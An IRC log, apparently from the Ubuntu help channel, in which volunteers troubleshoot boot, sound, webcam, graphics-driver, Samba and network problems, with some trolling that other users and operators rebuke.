[01:33] <ripper> soundray: do you think i can make a virtual machine to test this stuff out i hate having to keep turning my comp on and off everytime to keep testing these methods
[01:33] <timo> bob done
[01:33] <essial> ﻿oes anyone know of any ~good~ PHP/web IDEs with debugging support and such?
[01:33] <ScheissDrogen> whats it, ^paradox^
[01:33] <incognito> i get errors like this drk_guy
[01:33] <timo> testing for any improments
[01:33] <^paradox^> well its a little confusing is all
[01:33] <Drk_Guy> incognito, you need to boot with either elilo or GRUB for EFI
[01:34] <ripper> soundray: and then if i figure out that it will work then install it for real
[01:34] <incognito> buffer i/o error on device sr0, logical block 300587
[01:34] <cool> my pc cant webcam how can i mount one???
[01:34] <^paradox^> i insert a cd ok, i go to open disc and can select a track to play
[01:34] <soundray> ripper: sure, you can install ubuntu in virtualbox or vmware, but it's not going to tell you much about how to achieve a native boot
[01:34] <incognito> SQAUSHFS error: unable to read page, block 248cf16a, size 80db
[01:34] <incognito> thats what happens when i try to boot off the live cd
[01:34] <^paradox^> no problem
[01:35] <ripper> soundray: thats what i though
[01:35] <^paradox^> but skipping to next track with the button seems to have no effect
[01:35] <soundray> ripper: have a look at the bootoptions factoid, and find out how to add boot options with the alternate install CD. Then use this one: generic.all_generic_ide=1
[01:35] <soundray> !bootoptions | ripper
[01:35] <TheMaxzilla> What's the virtual machine/ virtualbox channel? #vmware?
[01:35] <incognito> Drk_Guy: you got any idea?
[01:36] <^paradox^> and if i select it in the file browser nothing shows up like the cds empty
[01:36] <Drk_Guy> incognito, idk if the loader used by the cd can really interface with efi
[01:36] <^paradox^> doing this under xubuntu btw
[01:36] <ripper> soundray: thanks man ill try that out
[01:36] <incognito> Drk_Guy: it worked fine before
[01:36] <Drk_Guy> incognito, really?
[01:36] <timo> version 9.0.124.0
[01:36] <jrib> TheMaxzilla: virtualbox is #vbox
[01:36] <cool> my pc cant find webcam how can i mount one???
[01:37] <extor> install a driver mebbee
[01:37] <incognito> Drk_Guy: yah, i just put the cd in a different drive maybe that helps
[01:37] <Drk_Guy> incognito, who knows
[01:38] <^paradox^> so i was wondering why i cant skip to another track and how to show all of the cds tracks
[01:38] <erin>  Hi, I have a serious problem: I cannot use the nvidia drivers for Ubuntu. Every time I try the "nividia-glx-new" on my F500 series Presario, I have to redo my xorg.config. Can anyone help?

[01:40] <EagleSn> hi, i need help to locate the script tha starts Gnome session
[01:40] <incognito> looks like the live cd is working fine now, heh
[01:40] <incognito> so far any ways
[01:40] <jamrun9> I'm having issues with playing sound files (mp3s, not sure about others) in any program other than Amarok. Some players (like VLC) appear to play it without sound, others simply... don't play. I've tried VLC, Rhythmbox, Exaile, and Songbird.
[01:40] <jamrun9> Any ideas why it works in Amarok but not in any other player?'
[01:41] <incognito> nope its frozen, crap
[01:41] <incognito> Drk_Guy: can i chroot in with the live cd?
[01:41] <incognito> the gentoo live cd**
[01:41] <^paradox^> sound seems to be an issue for many
[01:41] <hiptobecubic> Amarok uses kde libs doesn't it? i dunno if that makes a huge difference here
[01:41] <Drk_Guy> incognito, the gentoo handbook says you MUST install gentoo using chroot ;p
[01:41] <krauss> Alright!
[01:42]  * Drk_Guy has installed a full fledged gentoo like that
[01:42] <krauss> Time to install the latest Ubuntu!!
[01:42] <Drk_Guy> krauss, lol
[01:42] <Drk_Guy> krauss, intrepid?
[01:42] <incognito> i used theh gui to install gentoo on my laptop
[01:42] <jamrun9> oh, also: Ubuntu 8.04, gnome 2.22.3
[01:42] <unop> EagleSn, /etc/X11/Xsession*
[01:42] <krauss> Wait, I should check the disk's thing first
[01:42] <krauss> I'm not sure
[01:42] <RyanPrior> Can anyone recommend a FOSS alternative to Microsoft Viseo?
[01:42] <krauss> Hardy Heron
[01:42] <Drk_Guy> krauss, you're good to go, intrepid is alpha by now
[01:42] <unop> RyanPrior, Do you mean Visio?
[01:43] <RyanPrior> unop: Yes I do. Unfortunately, I am bad at spelling.
[01:43] <mindrape> RyanPrior:
[01:43] <mindrape> I would say dia is the closest
[01:43] <unop> RyanPrior, dia
[01:43] <cool> what the page  for  easycam2?
[01:43] <RyanPrior> I need to make circuit diagrams for my computer architecture class.
[01:43] <krauss> Alrighty.
[01:43] <krauss> Just need to burn this here image
[01:44] <jamrun9> cool: I think I just followed https://lists.ubuntu.com/archives/ubuntu-ca/2007-February/002352.html ... it worked for me. YMMV.
[01:44] <RyanPrior> My colleagues are using Visio - I'll have to give Dia a try.
[01:44] <user01> dr_Willis, i see root users in ps -aux is that bad?
[01:44] <StevenX> Hello all. How can I view .icns files in linux? These are image files in some kind of proprietary Apple format.
[01:44] <jamrun9> Anybody familiar with the sound issues in Hardy?
[01:45] <remu> hey guys, i need some help, I JUST got my brand spankin' new HP Pavillion dv4t today, and loaded ubuntu onto it. I seem to be having a problem with the sound. I can hear audio, but the problem is that the audio goes into a loop, seems like its just playing the sound over and over and over again
[01:45] <bobertdos> RyanPrior: Circuit diagrams as in digital circuits, as in transistors, gates, and so forth?
[01:45] <erin> Just checking:  Hi, I have a serious problem: I cannot use the nvidia drivers for Ubuntu. Every time I try the "nividia-glx-new" on my F500 series Presario, I have to redo my xorg.config. Can anyone help?
[01:45] <incognito> the computer im working on is using a 64bit OS does it matter if i use a 32 bit live cd to chroot in?
[01:45] <remu> it happens when gdm pops up, and that slowly fades away
[01:46] <remu> but then i tried to switch the device in sound preferences from autodetect to alsa, and i hit test, now i hear a beep, not the steady tone that i would normally here, its just a steady fast beep
[01:46] <cory> hi
[01:46] <remu> had to mute my speakers so i could focus, lol
[01:46] <cory> I need help
[01:46] <bobertdos> cory: Ask away

[01:47] <Guest19910> im not sure of the trigger
[01:47] <jamrun9> Seeing as folks are coming and going, I hope no one takes offense if I re-post my original question...
[01:47] <cory_> ok
[01:47] <cory_> that was odd
[01:47] <cool> i cant  find  how 2 get the file
[01:48] <cory_> I have an error that randomly occurs and my screen goes black
[01:48] <incognito> how do i tell which one is boot and which one is root?
[01:48] <soundray> jamrun9: that's okay if you've left at least 10 minutes

[01:48] <jamrun9> roughly so, soundray

[01:48] <cory_> i dont know
[01:48] <soundray> !mp3 | jamrun9
[01:48] <cory_> the screen goes black
[01:48] <cory_> i can do
[01:48] <jamrun9> ah, thank you.
[01:49] <cory_> ctrl + alt + F1
[01:49] <cory_> and the screen gets odd
[01:49] <cory_> i should take a picture its much more helpful that way
[01:49] <timo> i have just reported this bug https://bugs.launchpad.net/ubuntu/+source/totem/+bug/173878 nothing seems to have chaged on it thou
[01:49] <Hellow> cory_, keep your question to one text please
[01:49] <Hellow> text as in message
[01:50] <cory_> The screen goes black and im not sure what causes it. The trigger is seemingly random.
[01:50] <marceloaragorn21> hi all

[01:51] <cory_> I have to login with Failsafe Gnome
[01:51] <nkei0> What's up guys?
[01:51] <Hellow> gas prices
[01:51] <nkei0> haha, yes, yes they are
[01:51] <bobertdos> cory_: Under System->Preferences->Appearance->Visual Effects, what is it set to?
[01:51] <marceloaragorn21> could someone please help me with "how to install a webcam into ubuntu hardly? "
[01:52] <Kmad> marceloaragorn21: it should work out of the box
[01:52] <cory_> Its set to None
[01:52] <jamrun9> marceloaragorn21: YMMV, but I had luck with installing the drivers by using easycam2
[01:52] <carandraug> !webcam | marceloaragorn21
[01:52] <nkei0> I'm having a terrible time even getting ubuntu installed on my laptop...
[01:52] <jamrun9> soundray: Installed ubuntu-restricted-extras, seems to not have changed anything...
[01:52] <bobertdos> cory_: and you've completely updated the OS?
[01:52] <Kmad> marceloaragorn21: try sudo apt-get install camorama
[01:52] <computer_> can someone please help me I can't get my sound to work I'm using KDE :(
[01:53] <marceloaragorn21> in my case, I did not get it
[01:53] <cory_> its a fresh install. just updated crash occured before and i couldnt get it fixed. I decided to give it another try because I like linux
[01:53] <Hellow> !mp3 | computer_
[01:53] <jamrun9> soundray: disregard, I have another thing to try.
[01:53] <marceloaragorn21> i already have camorama
[01:53] <incognito> Drk_Guy: you still there?
[01:53] <Drk_Guy> incognito, :)
[01:54] <pan023432> anyone know how to hack a pdf file?
[01:54] <marceloaragorn21> I'm a Ubuntu beginner :)
[01:54] <Kmad> I'm trying to run Phun (http://phun.at) and nothing happens after it says "Creating Window
[01:54] <computer_> I need help :::(
[01:54] <Kmad> "
[01:54] <Drk_Guy> !ask | computer_
[01:54] <incognito> Drk_Guy: how do i chroot in to change the password (im using the gentoo live cd)
[01:54] <Kmad> pan023432: how so..?
[01:54] <pan023432> dunno was asking if someone knew how
[01:54] <Drk_Guy> incognito, ummm, it is described in the handbook
[01:54] <soundray> jamrun9: try loading an mp3 file into totem. It should offer to download codecs for you.
[01:54] <Hellow> !mp3 | computer_
[01:54] <Drk_Guy> incognito, read it a lil bit, you'll know what to do ;p
[01:54] <Hellow> read that before asking your question computer_
[01:54] <bobertdos> computer_: nothing in the wiki helped?
[01:54] <pan023432> anyone know how to use pdfcrack?
[01:55] <nkei0> Argh, I hate my laptop...  It has a broken windows (can't repair) and a broken cd drive (don't want to buy a new one)...  It's making it very difficult to install 8.04.  Trying to use a usb stick to boot from and it works for a few seconds, but it freezes up in the middle of the 1 of 7 questions.
[01:55] <incognito> Drk_Guy: can you send me some documentation
[01:55] <soundray> jamrun9: failing that, use the medibuntu repository and install w32codecs (or w64codecs if you're on 64bit)
[01:55] <Drk_Guy> incognito, there is a link to the handbook in the desktop ;p
[01:55] <cory_> any ideas bobertdos?
[01:55] <Drk_Guy> Kinda busy
[01:55] <jamrun9> soundray: yep, that's what I'm doing right now
[01:55] <soundray> jamrun9: medibuntu?
[01:56] <incognito> Drk_Guy: cant you point me to a certain page in the handbook
[01:56] <Drk_Guy> If i want to restart nautilus, do i have to log off?
[01:56] <Drk_Guy> incognito, it is really short
[01:56] <jamrun9> soundray: yep
[01:56] <Drk_Guy> incognito, i think it's like the 5th one
[01:56] <mityai> hello! can smb give me a links "how install ffmpg on Centos" Please!! Helppp(
[01:56] <soundray> Drk_Guy: no, you can just 'killall nautilus' and it will restart
[01:56] <mmcji> howdee
[01:56] <bobertdos> cory_: Are you using restricted drivers? I have the same video card on my laptop. It's very stable, and I am not using restricted drivers.
[01:56] <Drk_Guy> soundray, thx
[01:56] <marceloaragorn21> does anybody know a kind of driver or module for "eb1a:2710 eMPIA Technology, Inc. SilverCrest WebCam" to load into Ubuntu Hardly ????
[01:56] <Dr_willis_> mityai,  this is a ubuntu support channel.. not centos. Check the ffmpg homepage? get the source?
[01:56] <mmcji> what is the proper "ubuntu" way to configure apache2 for mod_proxy
[01:57] <bobertdos> cory_: A Google search though, will show you that 200Xpress cards have caused Ubuntu users a fair amount of grief
[01:57] <mmcji> I have freebsd, ubuntu and fedora servers and it is all a bit different
[01:57] <cory_> bobertdos: if i use restricted drivers then the crash is complete, i cant do anything. I dont use them because at least i can restart without them instead of having to plug pull.
[01:57] <mmcji> I am converting from a fedora 8 server to a jeos ubuntu server I just installed
[01:58] <bobertdos> cory_: Yeah, that's what I figured.
[01:58] <mmcji> guess I am asking if the config is handled differently in ubuntu vers. the standard apache2 docs
[01:58] <cory_>  bobertdos: I cant even log in without failsafe gnome without them though. Compiz doesnt seem to work.
[01:58] <mityai> Dr_willis_, good idea!!!! thx! im try to check ffmpg hp and change chanel)))
[01:58] <cory_> bobertdos: so i have to log in with failsafe, how do i shut off compiz on normal so i can log in without failsafe?
[01:59] <mmcji> I saw this command on the web, but not sure if this is a ubuntu thing or just some users scription
[01:59] <mmcji> sudo a2enmod proxy
[01:59] <jamrun9> soundray: =/ and failing both restricted-extras and w32codecs... what now?
[01:59] <mmcji> I want to do it the correct way for Ubuntu
[01:59] <bobertdos> cory_: Unfortunately, having visual effects set to None basically IS compiz disabled.
[02:00] <cory_>  bobertdos: But that is in failsafe mode. I cant login normally.
[02:00] <soundray> jamrun9: try loading an mp3 file into totem?
[02:00] <donkeyofdarkness> oh em gee lennox!!!
[02:00] <marceloaragorn21> does anybody know a kind of driver or module for "eb1a:2710 eMPIA Technology, Inc. SilverCrest WebCam" to load into Ubuntu Hardly ????
[02:00] <bobertdos> cory_: Oh, I see..........Let's see...........
[02:00] <carandraug> cory_: after installing the proprietary drivers, did you ran the two commands that there's in the documentation? It solved the problem for me "Ati Radeon 9600XT"
[02:00] <Dr_willis_> !webcam | marceloaragorn21
[02:00] <incognito> Drk_Guy: can you link me to the handbook
[02:01] <soundray> jamrun9: or just 'cat file.mp3 >/dev/audio'. Mind you, you will have to train your brain to do the MP3 decoding.
[02:01] <jamrun9> soundray: the song loads, loads the data, says 0:00/time... and just doesn't play.
[02:01] <aleatorio> someone here uses encryption disk?
[02:01] <carandraug> cory_: I too had to start from failsafe. I ran the two commands and after reboot everything was fine
[02:01] <jamrun9> soundray: heh. I'd rather watch youtube recordings.
[02:01] <cory_> carandraug: i have an issue with a crash. the crash occurs before and after i install proprietary drivers. It gets worse if i install the proprietary drivers so i need to fix the crash first.
[02:01] <marceloaragorn21> what " !webcam | marceloaragorn21" means?
[02:01] <Drk_Guy> incognito, ok, pls wait
[02:01] <jamrun9> marceloaragorn21: it's an automated response to give an answer to a frequently asked question and direct it to the person who asked it.
[02:02] <soundray> jamrun9: tried mplayer? It tends to at least give some meaningful error output.
[02:02] <Django_Newbie> any poo eaters here?
[02:02] <edju> Trying to run screenlets under KDE.  It errors out -- doesn't recognize the file format of '/usr/share/icons/screenlets.svg'.  That's a soft link to an existing file.  Any hints how to get this thing going?
[02:02] <jamrun9> soundray: I'll grab it.
[02:02] <Drk_Guy> incognito, http://www.gentoo.org/doc/en/handbook/index.xml
[02:02] <incognito> no for ubuntu
[02:02] <Singer2> hey anyone have any experience with bluetooth mice?
[02:02] <Aardvarks> [Mass Message] Everythings back online. have at it.
[02:02] <vladimir_> Hi People!!!!
[02:02] <soundray> jamrun9: perhaps it's something stupid and you just have to (gasp) reboot
[02:02] <incognito> im trying to chroot into a ubuntu box Drk_Guy
[02:02] <carandraug> cory_: you get the crash before you install them? Then the problem shouldn't be of the drivers
[02:02] <Django_Newbie> vladimir_ hi motha facka
[02:02] <Django_Newbie> any urine drinkers?
[02:03] <guiless> I have vsftpd configured to allow connections from local users. If they connect via nautilus, it opens up into / rather than their home directory. How can I restrict this?
[02:03] <Drk_Guy> incognito, read the handbook, it'll tell you how
[02:03] <marceloaragorn21> thanks
[02:03] <soundray> Django_Newbie: do you have a support question?
[02:03] <Singer2> I'm trying to use the instructions here... http://www.ubuntugeek.com/howto-setup-bluetooth-keyboard-and-mouse-in-ubuntu.html but its not working
[02:03] <Singer2> anyone?
[02:03] <donkeyofdarkness> Django_Newbie, HAI!!1
[02:03] <WaaZZaa> I can't control the sound with my keyboard, i can see the sound icon but can't control it..anyone knows why?
[02:03] <Django_Newbie> Singer2 piss on the motherboard, will solve it
[02:03] <soundray> !ops | Django_Newbie
[02:03] <cory_> carandraug: I know. i was saying i cant login without failsafe because i cant run compiz without the drivers. but i need to fix the crash first.
[02:04] <Drk_Guy> lol
[02:04] <Singer2> great...
[02:04] <jamrun9> soundray: MPlayer does... nothing.
[02:04] <cory_> carandraug: i need help fixing the crash
[02:04] <Singer2> I <3 the ubuntu community
[02:04] <Singer2> yah
[02:04] <vladimir_> Who is here?
[02:04] <mibsay> hi there~
[02:04] <Singer2> can anyone help me with an bluetooth issue?
[02:04] <soundray> Singer2: I apologize on behalf of this person. We're not all like that
[02:04] <krauss> Vladimir_: I have that name on anoher server
[02:04] <c0mp13371331337> When Nautilus mounts a samba share, where does it mount to?  The address bar shows smb://(computer)/networkingsharing/Folder but the program I'm using requires a discreet path.
[02:04] <jamrun9> soundray: meh, been having this issue for a while. Amarok was the only player that's worked.
[02:04] <guiless> Singer2, I can try. PM me
[02:05] <Singer2> soundray: ok, thanks
[02:05] <Singer2> guiless: thanks
[02:05] <vladimir_> I is out.
[02:05] <cory_> bobertdos: are you there?
[02:05] <carandraug> cory_: you can run metacity in the mean time
[02:05] <Dr_willis_> c0mp13371331337,  i belive technically it dosetn 'mount' it -  its just sort of browsing it.
[02:05] <edju> |channels
[02:05] <Dr_willis_> c0mp13371331337,  some times ive had to manually mount shares to get all apps to access the data correctly
[02:05] <mibsay> I have question for grub.. is there anybody can help me??
[02:05] <arnell> I'm new to Ubuntu. Using Grsync to back up the OS after install. Which directories are crucial for backing up for OS recovery?
[02:05] <StevenX> How can I set adobe acrobat reader to be the default application for pdfs? It is already installed on the comp.
[02:05] <Dr_willis_> c0mp13371331337,  check the 'mount' command output to see if its actually mounted anywhere.
[02:06] <edju> !channels
[02:06] <bobertdos> cory_: Yeah, I'm trying to find a file you can edit.
[02:06] <mibsay> I just started to use Linux, ubuntu.
[02:06] <cory_> carandraug: yes im on ubuntu now it works fine. Just no compiz metacity is good. i get a crash sometimes that makes the screen black its odd
[02:06] <Django_Newbie> anyone eating poo?
[02:06] <Django_Newbie> anyone drinking piss?
[02:06] <donkeyofdarkness> HAI!1
[02:06] <cory_> carandraug: bobertdos: if i disconnect i crashed ill be back
[02:06] <c0mp13371331337> Dr_willis_: Crap... I'm downloading a few different distributions to that share right now, so I probably can't mount it to a different location.  I think I've tried that in the past with no success, but I'll give it a shot.
[02:07] <Dr_willis_> c0mp13371331337,  its not hard to manually mount things. :) but i tend to use the smbfuse/fusesmb tools  instead of browsing  with the gnome filemanager.
[02:07] <Dr_willis_> !fusesmb
[02:07] <jkristheking> How do i copy my ubuntu to another disk?
[02:08] <brian_herman> jkristheking: is it on another partition or drive?
[02:08] <Dr_willis_> c0mp13371331337,   https://help.ubuntu.com/community/FuseSmb
[02:08] <arnell> I'm new to Ubuntu. Using Grsync to back up the OS after install. Which directories are crucial for backing up for OS recovery?
[02:08] <brian_herman> uh definitally back up etc
[02:08] <mmcji> jkristheking: I use dd, but you can use tools like clonezilla etc..
[02:09] <jkristheking> um? it's on a 40gb right now and im getting a new comuter with a 120gb hdd
[02:09] <Django_Newbie> dr_Willis /usr/gayporn and /usr/pooeating
[02:09] <donkeyofdarkness> not big enough
[02:09] <jkristheking> so whats dd
[02:09] <unop> !language | Django_Newbie
[02:09] <jkristheking> is it easy to use?
[02:09] <Nate_> Why does my wireless network disconnect every minute and ask me for the key again after I already put it in? is it possible to fix that?
[02:09] <brian_herman> Django_newbie: play nice
[02:09] <Django_Newbie> f u c k
[02:09] <unop> arnell, i'd say everything except /home
[02:09] <carandraug> cory_: but the problems you solve with the open source drivers will mean nothing f you plan on installing the proprietary after that. They will come with their own problems and leave the others behind (if they are indeed related to the open source drivers). In that case, I think it's better to install the proprietray drivers and solve their problems only
[02:09] <c0mp13371331337> Dr_willis_: Hey, whattaya know, it mounted manually just fine, in addition to the 'browsable' mounting that Nautilus utilizes.  Should have just tried that to begin with.  Thanks a bunch!
[02:10] <mmcji> good way to delete all your data if you are not careful
[02:10] <Django_Newbie> poo eating piss drinking f u c k i n g  c u n t
[02:10] <unop> !ops | Django_Newbie
[02:10] <arnell> would there be a prob if I backed up the entire file system directory?
[02:11] <brian_herman> thanks pici
[02:11] <Dr_willis_> c0mp13371331337,  yea. I often use very old apps that dont like the way the gnome/kde file managers handle the remote shares.
[02:11] <arnell> unop: Would there be a prob if I backed up the entire file system directory?
[02:11] <unop> arnell, not at all
[02:11] <arnell> great, thanks!
[02:11] <unop> arnell, assuming what you mean is the root directory i.e. /
[02:12] <arnell> unop: yes. the entire root /
[02:12] <cory_> carandraug: if i solve the crash on the open source drivers i will stick with them.
[02:12] <marceloaragorn21> hi all
[02:12] <marceloaragorn21> it did not work
[02:12] <arnell> unop: no problems correct?
[02:12] <marceloaragorn21> my webcam is not recognized....
[02:13] <marceloaragorn21> is there anything that i can do?
[02:13] <StevenX> Is there a list of applications that can be themed to look like their OSX counterparts? For example, instead of using pidgin, I can make kopete looks like iChat.
[02:13] <unop> arnell, i don't see any
[02:13] <Dr_willis_> marceloaragorn21,  from what ive seen.. either webcams work.. or they are totally unsuported.
[02:13] <arnell> unop: cool, thanks
[02:13] <hiptobecubic> Is there a way to move windows around the desktop without the mouse? like ctrl and arrow keys or something?
[02:13] <soundray> arnell: some special files, like those in /dev, won't backup cleanly with regular copy commands. Try the tar method from the Tips howto.
[02:14] <carandraug> cory_: could you pastebin /etc/X11/xorg.conf
[02:14] <ScheissDrogen> ﻿ marceloaragorn21: usb ? what says lsusb ?
[02:14] <Seven_Six_Two> I'm trying to enable mysql for amarok. I have a mysql database set up on a host on my subnet, I can access phpmyadmin, I have created a database and a user with more than enough privs. For some reason I can't seem to connect to it. apache2 on the same machine can log in and do what's necessary. Am I missing something obvious?
[02:14] <Dr_willis_> hiptobecubic,  some window managers have that feature. I dont think the default gnome one does..  compiz 'might' have such a feature you could bind to some keys.. but i dontuse compiz
[02:14] <donkeyofdarkness> hiptobecubic, lift the monitor and move it around
[02:14] <carandraug> cory_: by the way, is that a new problem after an update or you just installed Ubuntu?
[02:14] <bobertdos> cory_: Well, we could always disable compiz the tedious way :p
[02:14] <hiptobecubic> donkeyofdarkness, as cute as that is, it doesn't even solve the problem.
[02:15] <marceloaragorn21> i think that is not supported
[02:15] <c0mp13371331337> Dr_willis_: Yeah, I'm using a Lightscribe app by LaCie.  It was intended for Windows but they made a linux port of it.  Unfortunately they didn't port the Browse... button to use a kde/gnome browser, so it still has options like My Computer!
[02:15] <donkeyofdarkness> :(
[02:15] <mmcji> jkristheking: honestly, it would be best to do some reading about dd before using it, and if at all confused I would advise against it.  Clonezilla makes a nice too.  Personally, I would suggest loading your new PC from scratch and just moving your data over.  I know that is nto what you asked, but honestly, that will give you the best load
[02:15] <marceloaragorn21> it says Bus 004 Device 004: ID eb1a:2710 eMPIA Technology, Inc. SilverCrest WebCam
[02:15] <remu> hey guys, i need some serious help getting my sound to work, i have the hp dv4t, it has the IDT HD Audio, I can hear sound right now, but it seems to be going in a loop. I was reading that maybe installing Alsa 1.0.17 might help, so I used the script from: http://ubuntuforums.org/showthread.php?p=5131958#post5131958 to install Alsa 1.0.17
[02:15] <remu> but im still having the same problem
[02:15] <arnell> soundray: would there still be problems even grsync-ing through sudo grsync?
[02:15] <wers> i downloaded an iso. i burnt it twice but the disk images were corrupted. i think, there's a problem with the iso file. how do I check the file's integrity?
[02:16] <Dr_willis_> c0mp13371331337,  yep.  Ive noticed that also.   you run into that a lot with 3rd party apps.
[02:16] <cory_> carandraug: just installed.
[02:16] <carandraug> cory_: I've checked the drivers pages and with the open-source drivers you will only get 2D acceleration
[02:16] <soundray> hiptobecubic: F7 and arrow keys
[02:16] <remu> the people over here had some luck on very similar hardware using fedora http://www.fedoraforum.org/forum/showthread.php?t=196558, but i don't know how to make heads or tails of it, any help would be greatly appreciated
[02:16] <rubyat> marceloaragorn21: might need gspca pkg?
[02:16] <cory_> bobertdos: we can do that later. I dont mind starting in failsafe id rather fix the crash.
[02:16] <soundray> arnell: no, I think rsync is dev-safe
[02:16] <marceloaragorn21> maybe...
[02:16] <marceloaragorn21> how can i get it from repository?
[02:17] <bobertdos> cory_: Well, I am thinking disabling compiz may help the crash.
[02:17] <rubyat> marceloaragorn21: sudo ap-get install gspca
[02:17] <rubyat> apt
[02:17] <unop> !md5 | wers
[02:17] <soundray> arnell: don't know about grsync, it may have restrictions versus command line rsync. Have a look through man rsync
[02:17] <wers> thanks, unop :)
[02:17] <marceloaragorn21> couldn't find the pkg
[02:18] <bobertdos> cory_: Because see, what's happening is that X is crashing, which almost has to do with either the video card, the way Xorg.conf is set up, and/or compiz.
[02:18] <cory_> carandraug: Id like to be able to use the computer.
[02:18] <carandraug> cory_: bobertdos: specially because with the open source drivers, her drive has no 3D acceleration. I thought it was needed for compiz https://help.ubuntu.com/community/RadeonDriver
[02:18] <cory_> bobertdos: Its off though. Im using failsafe it wont load on failsafe for obvious reasons.
[02:18] <rubyat> it's in synaptic
[02:18] <marceloaragorn21> i tried sudo apt-get install gspca*
[02:18] <arnell> soundray: K, Thanks.
[02:18] <marceloaragorn21> and it is installing something
[02:19] <ScheissDrogen> !who|﻿ marceloaragorn21
[02:19] <bobertdos> cory_: Yeah, but if we can get into your home directory, we can edit the default behavior to affect all sessions, (in theory).
[02:19] <rubyat> marceloaragorn21: it's a kernel module
[02:19] <TSCDan> Is there a way to disable the scrollwheel changing the workspace with Gnome/compiz?
[02:19] <carandraug> cory_: I don't think you can run compiz properly with the open source drivers. Also, no 3D games. I don't know what you understand by "be able to use the computer"
[02:19] <compu73rg33k> I'm having problems with my network card on my laptop. On startup dmesg | tail says eth0: link is not ready

[02:21] <rubyat> marceloaragorn21: I used synaptic
[02:21] <unop> compu73rg33k, ubottu is not a replacement for 'your favourite search engine' :)
[02:21] <Drk_Guy> compu73rg33k, It can only provide some info
[02:21] <salman> HG
[02:21] <salman> SDASD
[02:22] <compu73rg33k> Oh hey unop heh - still having the same problem! it's gotten stranger though :(
[02:22] <nnull> !2girls1cup
[02:22] <marceloaragorn21> !rubyat: I'll try it
[02:22] <nnull> heh
[02:22] <unop> marceloaragorn21, stop prefixing your sentences with a !
[02:22] <donkeyofdarkness> !lolwtf
[02:22] <ScheissDrogen> could you give out from lsusb again ? ﻿ marceloaragorn21
[02:22] <Drk_Guy> nnull, afaik that kind of stuff shouldn't be posted here
[02:22] <carandraug> bobertdos: you know if cory_ has tried this? https://wiki.ubuntu.com/X/RadeonXpress
[02:22] <TSCDan> carandraug: Cool app, but a bit big... would you happen to know offhand where I might look or should I just poke around aimlessly? :)
[02:22] <pen> is it possible to use if statements in gtkrc??
[02:22] <Drk_Guy> nnull, desist or go
[02:22] <compu73rg33k> unop would you be able to try and help me again?
[02:22] <marceloaragorn21> rubyat: sorry.... i already download it
[02:22] <unop> compu73rg33k, what's the problem now?
[02:23] <marceloaragorn21> SheissDrogen: it says Bus 004 Device 004: ID eb1a:2710 eMPIA Technology, Inc. SilverCrest WebCam
[02:23] <Drk_Guy> lol unop you sound...
[02:23] <xindo> anyone recommend a cad program?
[02:23] <carandraug> TSCDan: I've done it before. I think it's in the panel desktop option. I'll check
[02:23] <Seven_Six_Two> if I want to connect to a database from another machine, what do I have to modify?
[02:23] <Drk_Guy> !cad | xindo
[02:23] <Drk_Guy> :p
[02:23] <compu73rg33k> well, i left the laptop alone for the weekend, and then when I plugged it back in earlier, the LEDs were lit after it booted up and dmesg| tail said eth0: link is ready, it just timed out on a dhcp request
[02:23] <nnull> Drk_Guy, i didnt post anything, i quered the bot for a well known reference, that i myself have never watched?
[02:23] <xindo> lol
[02:23]  * unop  what is with people and the bot today?
[02:23] <bobertdos> carandraug: I doubt he has. I was trying to find that very entry. Things can be so hard to find in there sometimes :p
[02:23] <Drk_Guy> nnull, please, don't go there anyway, sth tells me it's bad
[02:23] <timo> any one know where crash logs for totem are ?
[02:23] <donkeyofdarkness> the bot is sexy
[02:24] <Joelito> Hi all, Is there a light app, like soundconverter, to convert videos files to other video formats? Mostly I want to convert some flv and wmv to mpg.
[02:24] <unop> donkeyofdarkness, please stay on topic.
[02:24] <Drk_Guy> lol donkeyofdarkness
[02:24] <marceloaragorn21> rubyat: how can load this module into kernel?
[02:24] <compu73rg33k> unop: so i tried changing the MAC address thinking maybe something on the network has my MAC address to some restriction (although it works in Windows) but changing the MAC didn't do anything. Then when I rebooted, it went back to eth0: link is not ready and the LEDs don't light up
[02:24] <Drk_Guy> Joelito, sudo apt-get install ffmpeg, then ffmpeg -i flv mpg
[02:24] <Drk_Guy> :D
[02:24] <marceloaragorn21> SheissDrogen: did you know anything about this type of camera?
[02:24] <compu73rg33k> unop: ifconfig up eth0 says "ignoring unknown interface eth0"
[02:25] <soundray> compu73rg33k: I would treat this as a hardware issue, until proven otherwise. When you take the laptop to another room, do you take the patch cable with you, or do you use one that's there?
[02:25] <Joelito> Drk_Guy:I already have ffmpeg..:p
[02:25] <Joelito> Drk_Guy: Thanks :p
[02:25] <Drk_Guy> Joelito, then use the command i gave you :p
[02:25] <Drk_Guy> Joelito, np
[02:25] <nnull> is hardy heron stable software?
[02:25] <compu73rg33k> soundray: used one that's there, but I've tried multiple cables here in my room, and i've switched cables between my laptop and desktop
[02:25] <compu73rg33k> so I know it's not a cable issue
[02:25] <Joelito> Drk_Guy: I'll make a GUI for it ;)
[02:25] <Drk_Guy> !intrepid | nnull
[02:25] <unop> compu73rg33k, you're the same person who had problems with a laptop/desktop on a university network, right?
[02:25] <Drk_Guy> !hardy | nnull
[02:26] <compu73rg33k> unop: yes
[02:26] <unop> compu73rg33k, does your /etc/network/interfaces have a section for eth0 ?
[02:26] <Drk_Guy> Joelito, zenity?
[02:26] <ScheissDrogen> : (ScheissD..) ,﻿ marceloaragorn21: is it http://www.mysilvercrest.de/de/artikel.php?a=128
[02:26] <nnull> ok Drk_Guy , so i assume that by current release its stable? :)
[02:26] <soundray> compu73rg33k: could it be the laptop ethernet socket?
[02:26] <compu73rg33k> unop: ONLY in my room on hardwire in linux - works on windows, works in other rooms (linux & windows), wireless works (just not wireless here in my room!)
[02:26] <carandraug> TSCDan: well, it's big because compiz has lots of options. Can't find it now maybe because I updated to Intrepid. The option may have changed place
[02:26] <Drk_Guy> nnull, yes, i think you're coming from debian, right?
[02:26] <nnull> yeh
[02:26] <Joelito> Drk_Guy: pygtk or gtk-perl
[02:27] <amirman> what's the best way to resize a ton of pictures all to 800x600?
[02:27] <compu73rg33k> unop: no and yes. I've tried staticly defining it and for a while that worked (but only if I unplugged the desktop ethernet cable). Right now though no it doesn't. I also put auto eth0 at the top for a while and that made no difference
[02:27]  * bobertdos is very afraid to try Ubuntu with  a computer that isn't five years old
[02:27] <TSCDan> carandraug: Do you remember what it was called?  I've found the option for Ctrl+Alt+Left/Right which accomplishes the same task, just with a different input obviously.
[02:27] <Drk_Guy> Joelito, there are ffmpeg gtk and python bindings arounf there
[02:27] <unop> amirman, imagemagic/convert and a bash for loop.
[02:27] <compu73rg33k> soundray: I woudln't think so b/c it works in Windows perfectly
